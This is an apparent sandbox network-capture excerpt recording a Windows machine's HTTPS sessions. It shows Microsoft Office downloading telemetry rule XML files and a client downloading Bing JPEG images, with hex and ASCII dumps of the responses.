2024-11-25 06:53:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:20 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: b200d60e-301e-0033-2331-3efa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065320Z-15b8b599d88hd9g7hC1TEBp75c00000005n0000000003dhf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:20 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:20 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:20 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8db92378-201e-003f-2cbf-3e6d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065320Z-178bfbc474bfw4gbhC1NYCunf4000000076g000000001d61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:20 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:20 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:20 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 44ae66ae-301e-001f-7627-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065320Z-15b8b599d885v8r9hC1TEB104g00000005m000000000bgqw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:20 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:20 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:20 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 2eed8dc4-701e-0098-0dc6-3e395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065320Z-15b8b599d885v8r9hC1TEB104g00000005mg00000000aspq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:20 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49730	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:21 UTC	375	OUT	GET /th?id=OADD2.10239391074267_1LFWW0OVV8A8XLNH1&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-25 06:53:21 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 331393 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 10DA38211D574C2EA502ACF54177BEA7 Ref B: EWR311000108027 Ref C: 2024-11-25T06:53:21Z Date: Mon, 25 Nov 2024 06:53:21 GMT Connection: close
2024-11-25 06:53:21 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 34 3a 32 33 20 31 34 3a 33 31 3a 31 33 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 25.4 (Windows)2024:04:23 14:31:138C
2024-11-25 06:53:21 UTC	16384	IN	Data Raw: b4 46 bf be a4 dd 8d 79 13 33 e3 b5 df f3 f9 34 ff 00 22 b4 7f e5 8d 45 3d 2d c3 d9 a4 53 f2 a4 a6 f9 5f f7 ee ae 7d fa 8a 45 9f ef d2 6e e3 95 9e c4 52 45 27 df a3 6c 89 f3 d4 af fe dd 37 cd d9 0f cf fe ae 84 ec 11 6b a8 df de 3f c8 f5 62 d5 63 4a 8e 49 f6 7c 9f f2 ce 89 24 a1 ab 14 f4 57 25 85 bf b9 47 9b 1b 7c 8f 50 79 fb 29 9e 7f ef bf d4 d0 9d 85 75 12 5f 37 fe 99 54 12 2c 74 9b a8 91 b7 d3 90 d5 a5 b9 1c 8b 1a d3 7e 4a 74 8d 4d 91 b6 43 52 4c 46 4f 4f f2 e4 a2 39 69 7c da 01 2b 0b b7 7d 3a 35 df f7 e9 b1 cb fc 74 cd df c1 41 24 be 56 cf 9e 9d fb bf 26 a0 f3 ff 00 b9 ff 00 2c e9 f1 cb bf e7 a0 d1 c9 74 24 db 4d f2 bf 7b 4d 76 fe e5 3b cd 91 e6 a9 25 ca ea c3 76 c9 ff 00 3c 7f 77 4e ff 00 96 3b de 9b 1b 49 44 9e 67 93 bd 28 2d 6c 26 dd 9f f6 ce 88 d6 Data Ascii: Fy34"E=-S_}EnRE'l7k?bcJI\|$W%G\|Py)u_7T,t~JtMCRLFOO9i\|+}:5tA$V&,t$M{Mv;%v<wN;IDg(-l&
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: 52 f6 b1 63 6d 33 65 33 74 94 48 d4 d4 6e 36 d5 87 53 64 59 29 bb a8 f3 28 71 b1 97 3e ed 8d 92 29 3f 83 fd 5d 24 71 49 4f 8e 4a 77 99 25 04 e8 fa 8d 4f 32 9b 23 6d a7 6e fe 0a 6d 03 9d ed a0 76 92 9d 1a ef 86 8f de 51 ba 9b 56 1c 5d 96 a8 36 d3 f6 ec a4 a7 ee d9 48 a8 2d 2e 36 45 a4 ff 00 ae 74 ff 00 b9 4c 91 b6 7c f4 13 ca bb 85 1b 3f 73 44 8d fe ae 89 1a 9a 57 06 a0 90 fd bf be a7 d4 3b bf bf 4b bb 7d 4d 89 1d ff 00 2c e8 8d 7f 73 4c dd 4f 46 d9 57 cb a0 73 2e 66 3f 6d 33 65 3e 37 a3 75 24 ae 17 5d c6 6d fe 3a 7e da 23 96 8f 37 f8 e9 5a e6 6e 51 b0 9b 76 53 23 5a 93 f7 94 c9 1e 3a ae 56 52 b0 79 5b e8 f2 ab 2f 5c f1 46 8b a5 7c 93 4d e6 49 24 9e 5f 97 6d f3 ff 00 df 5f dd ac ed 35 a3 d5 7c bd 5f c9 d7 24 fb 44 6f 27 fa 37 fa 9f f8 05 79 f8 cc ce 8e 1d Data Ascii: Rcm3e3tHn6SdY)(q>)?]$qIOJw%O2#mnmvQV]6H-.6EtL\|?sDW;K}M,sLOFWs.f?m3e>7u$]m:~#7ZnQvS#Z:VRy[/\F\|MI$_m_5\|_$Do'7y
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: 59 12 6b 9a 2f fa 4e fd 63 c6 52 79 92 7f a1 7f a5 a7 ee 3f de fe fd 75 ba c7 82 f4 5d 3e 6b 9f ed 0d 4b 5c ff 00 55 fe b2 e7 f7 3e 65 c3 fd c4 6f f7 bf f1 ea a7 ac 78 73 c3 da 66 9f 6c 96 ba 97 97 26 a3 27 d9 e4 b9 d7 2d 1f ce b7 7d ff 00 f2 ce 1f f9 e5 ff 00 4d 4d 7a 91 af 4e a2 e6 8c ae 8f 22 58 5a b4 5f 2c e3 66 66 e8 7e 27 83 4a d7 34 db a8 35 8d 5b ec 31 ff 00 c7 ef da 65 77 f9 7f db ff 00 66 b7 20 f1 ed 8d dd df d8 ad 6c f5 69 3c bb 6b 9f f5 5a 87 fa b8 be f6 f6 ff 00 d9 5b f8 2b 0e c6 c6 ee df 56 f3 e1 d6 3c 3d 1d d4 92 3d bf 99 16 cf 27 f7 7f c6 ca df de ae a3 c3 fe 26 bf d3 bc 27 e4 ea 9f f0 84 6b 56 b2 6c ff 00 46 d4 b4 fd f3 47 fd df b9 b5 b0 9f dd e9 5e 6e 3a 35 1c 94 a9 53 53 7f e2 e5 fb ae ad f2 ba 3a e9 61 e9 4e 3e fc 9a 7e 4b f5 b9 ce 78 Data Ascii: Yk/NcRy?u]>kK\U>eoxsfl&'-}MMzN"XZ_,ff~'J45[1ewf li<kZ[+V<=='&'kVlFG^n:5SS:aN>~Kx
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: f2 2c 8f ff 00 2d a9 f0 c1 27 ef 36 4d ff 00 91 6b 67 fb 57 42 5f bf 0c d5 3f f6 ce 84 9f 23 d9 cb ff 00 7e a8 b0 d5 ae 73 de 44 95 27 d9 bf 73 f2 7f e8 da dd 83 50 d0 bc ef f5 33 47 44 da a7 85 d7 fe 58 ff 00 e4 2a 64 c5 2e 86 24 76 72 7f 1f 95 49 e5 47 fc 75 b5 36 af e1 e5 ff 00 f7 55 17 f6 cf 87 bf e7 8c bf f7 ea 86 d2 ea 10 8b 32 e7 8e 06 fb 95 5f 6c 7e 76 cf 26 b7 bf b4 3c 3c ff 00 f2 c6 6f fa e9 f2 53 a3 9f 49 79 b7 a7 fa ba 48 b7 6e 87 3f f7 66 d8 f0 d3 a4 fe ff 00 93 5d 0f 9b a4 f9 d4 49 fd 8b 2f fd 34 a6 64 ed d0 e7 fe d3 60 9f f2 e7 2d 3a 39 e0 6f f9 63 35 6e 41 05 87 dc 4b 39 bf ef d5 3a 7b 3b 4f e3 a1 c6 c3 e6 30 7c fb 4f fa 6b 1d 09 73 69 fb cd 93 4d 5a df d9 56 12 fd ca 8b fb 06 d3 c9 df e7 52 77 63 8a 83 2a da dc da 3c 3f 3f fa ca 9b 6d ad Data Ascii: ,-'6MkgWB_?#~sD'sP3GDXd.$vrIGu6U2_l~v&<<oSIyHn?f]I/4d`-:9oc5nAK9:{;O0\|OksiMZVRwc<??m
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: 9e 15 8f ce f9 ff 00 d5 c9 ff 00 4d ab 3a fb 46 82 df e4 48 66 93 ff 00 1f aa e4 68 88 d6 8c 9f bc 67 7f a2 7f 1c 3e 5f fd 75 96 9d 25 f6 9a ff 00 b8 79 a2 ff 00 bf 4f 56 3c 8d 25 3f d7 fe ef fe ba c5 59 b7 d6 da 6f 9d f2 5e 43 24 9f f5 d6 94 af 14 74 52 b4 b7 27 92 74 8a 1d f0 ea 52 f9 7f f5 ca a2 8f 50 d4 bc ef 92 f2 19 23 ff 00 a6 b0 d1 05 8c 1e 4f cf 0c df fa 1d 4d 7d a7 c0 f0 ff 00 a2 c3 e6 49 ff 00 4d 62 7a 8f 78 a7 c8 da ba 21 92 f2 47 9b 64 f0 c3 27 fd b5 a8 ee 35 08 22 9b e7 86 28 ff 00 ed ad 45 24 5e 57 df d3 6d 29 3c fd 27 fe 78 ff 00 e4 2a 14 98 bd 92 6c 7f db ad 3f eb a5 32 4b e8 1f fe 58 f9 95 35 a4 fa 6f 9d 1b fd 8f fe fd 56 8d a5 cf 86 9e 5f df d9 cb 56 9d fa 98 ca 9a 4f 6b 99 71 cf b7 ee 69 b5 2c 77 97 7f c1 67 37 fd fe ad cb 5b af 0d 4b Data Ascii: M:FHfhg>_u%yOV<%?Yo^C$tR'tRP#OM}IMbzx!Gd'5"(E$^Wm)<'x*l?2KX5oV_VOkqi,wg7[K
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: b6 87 cb a8 2e ec 7f 7d be 38 7c ca a8 ca 37 25 a9 38 94 9f 57 8d 3f e5 8d 37 fb 5e c7 ce df ff 00 b5 69 ff 00 66 d4 9b e4 4d 36 a4 87 4c bf 7f f9 73 86 3a d7 dc ee be f3 38 f3 37 b7 e0 36 0b cd 26 e3 e7 7a bb 1c 5a 2c bf 73 ca a7 3e 95 27 fc f1 8b fe b9 d4 a9 a6 40 9f 3f 93 59 ca 70 7d 59 a2 84 97 44 32 3b 1d 27 f8 21 a7 cd a5 5a 4b 0f c9 14 35 2c 7b fc af f5 34 25 e2 45 0f fc 7a 54 39 4f a3 2b 96 36 b3 32 e7 f0 e5 8b fc 8f 2c 55 93 aa 78 0e 39 62 df 05 e5 74 f3 5e 6f 87 e7 86 6f fb f5 47 db a7 4f f9 63 37 fd fa aa 55 2a ae a6 52 a1 4a db 1e 6f 75 e0 3b b4 97 62 4d e6 7f d7 3a ce ba f0 9e b3 6f d3 ce f2 ff 00 eb 95 7a bf db 92 58 7e 7b 3b bf fb 67 15 50 be be 8d 3f e5 ce ef 7f fd 71 df 5b 46 b4 9b b3 46 3e ca 2b 66 79 1d d6 8b ab 45 f3 fe fa ab c3 a4 6a Data Ascii: .}8\|7%8W?7^ifM6Ls:876&zZ,s>'@?Yp}YD2;'!ZK5,{4%EzT9O+62,Ux9bt^ooGOc7U*RJou;bM:ozX~{;gP?q[FF>+fyEj
2024-11-25 06:53:22 UTC	16067	IN	Data Raw: e6 ed dd 3c df f6 76 6d dc bf ef 57 11 fd 9b 3c 56 bf e8 b7 90 c9 e5 ff 00 cb 3f 2b 64 3b bf 9b 53 3e d3 76 90 f9 13 43 69 fb c9 3f 79 1f d9 2b a6 38 8a 89 59 db ee 30 78 7a 52 77 34 a3 9e 38 ad 63 48 61 d3 bf d5 bf ee fe 7f 26 47 ff 00 e2 aa 5d 62 3f f8 97 5b 7e e7 cc f2 e2 ff 00 9e bb ea 2b 59 fe c3 0c 76 af fb b8 3f e5 a7 ee bf d6 3d 53 ba b6 9f c9 de 9f d9 f2 79 7f e9 11 c9 fc 7b 2b 37 37 63 6e 44 cb 36 29 7e d7 72 6f ff 00 59 27 ef 3e cd 2d a7 fe ca b5 2c 7a bc 9a 67 98 e9 0f ef e4 ff 00 57 e5 4b fe ad bf d9 aa b6 ad 1e a1 6b 1c 2f fd a1 71 e5 ff 00 ab ff 00 4b ff 00 e2 aa 08 ed a4 86 1d f7 b6 72 ff 00 d7 48 a2 d8 ff 00 f8 ed 25 26 97 ba 3e 44 d5 99 16 a9 e3 df 1d 5b dd c9 6b fd b1 77 1f 97 ff 00 3d 25 ff 00 e2 a8 b6 f1 67 88 6e b4 f8 df fb 4a ee 58 Data Ascii: <vmW<V?+d;S>vCi?y+8Y0xzRw48cHa&G]b?[~+Yv?=Sy{+77cnD6)~roY'>-,zgWKk/qKrH%&>D[kw=%gnJX
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: f0 b1 fb 9f cc 8d db 18 35 69 7f 7f 7b fb c9 23 d9 e5 fe f5 fe eb 7f 1f cb c5 5a d3 6d ae f4 fd 72 2b 5b db c9 a3 92 4f f9 65 6d fe d5 73 7e 17 9f 51 b2 ba 7d d3 4d 1c 98 fd de 43 bf fe 3b 5d 25 8e af 7d 7b a7 c7 65 fe b2 48 ff 00 e5 9f 95 b3 cc ab a6 e3 7e b7 f3 33 a9 cd b1 7e 7f 0f f9 53 48 e9 0f 97 ff 00 3d 23 fb 27 c9 27 fb 3f 2f dc ac ed 66 c7 4d 79 bc 9d 22 cf ec fe 64 7e 64 91 f9 bf fa 06 ef e1 ad 19 e7 92 2b 49 52 f7 ce b7 bb b8 fd dc be 54 af f7 3f da 8d 6a 5b 1b 98 de d2 34 ba 9a 1d 47 cb 8f fd 57 fc f3 7a d9 a8 5a d6 33 8c da 8a 63 ad 3c 39 05 be 93 1e a3 ff 00 09 25 a5 94 f2 47 ff 00 1e 52 c5 fb e8 ff 00 ef 9f f6 6b 26 3d 32 4b b8 64 78 2f 34 fd 46 48 e4 f2 e2 ff 00 3f c5 4f ba 82 c1 ed 24 7b 28 75 0b 79 3c c4 f2 e4 f9 1e 1f fc 7b d2 a2 b1 b9 Data Ascii: 5i{#Zmr+[Oems~Q}MC;]%}{eH~3~SH=#''?/fMy"d~d+IRT?j[4GWzZ3c<9%GRk&=2Kdx/4FH?O${(uy<{
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: 96 3f f5 ce af fd b2 74 ff 00 51 0f 99 44 77 2e f3 7c f4 e2 e6 99 0e 29 a3 9f 93 4f fb 24 db 3c ef 2e a7 b7 d3 23 97 e7 fb 65 6b 5d f9 72 cb 45 8d b7 9b 57 ed 5d ae 67 ec 95 ec 8c eb 5f 0f 48 ff 00 3f 9d 5b 36 b6 33 c5 0e c7 9a a5 f2 27 8b fe 5b 45 51 49 73 3f 9d fe dd 67 cf 29 75 2d c1 41 6c 41 a8 d9 c1 2d 60 4f a4 5a 3f df ae ae 19 e3 7f f8 fa 86 89 2d ac 25 87 e4 a7 1a ae 3a 34 27 4a 33 d4 e4 3f b3 e3 8b e7 82 1f 32 ae 58 b4 ff 00 f3 c7 f7 7f f4 d6 af cf a5 46 ff 00 27 fa ba 67 f6 54 f6 fe 5b c1 35 6c e6 9a b5 cc 79 26 9d ec 10 5a 3b cb bd 21 ff 00 c8 b5 62 39 e7 8b e4 ba 86 5a 3c fb bb 79 bf e5 8d 4b fd a7 fd f8 61 f2 eb 26 e6 fa 17 0e 55 e4 5d 86 f2 d1 be fd 5a 82 2b 09 6b 16 49 f4 cb 8f f9 63 4d ff 00 44 8b fd 4c d5 97 b3 6f ba 37 55 2c ef 7b 9d 44 Data Ascii: ?tQDw.\|)O$<.#ek]rEW]g_H?[63'[EQIs?g)u-AlA-`OZ?-%:4'J3?2XF'gT[5ly&Z;!b9Z<yKa&U]Z+kIcMDLo7U,{D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49731	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:21 UTC	346	OUT	GET /th?id=OADD2.10239391074266_1FC7YWZ4JCQ2TYVA7&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-25 06:53:21 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 227769 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 59126245AE2442B1B39CA822AF8960D0 Ref B: EWR30EDGE0821 Ref C: 2024-11-25T06:53:21Z Date: Mon, 25 Nov 2024 06:53:21 GMT Connection: close
2024-11-25 06:53:21 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 34 3a 32 33 20 31 36 3a 35 35 3a 35 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 25.4 (Windows)2024:04:23 16:55:528C
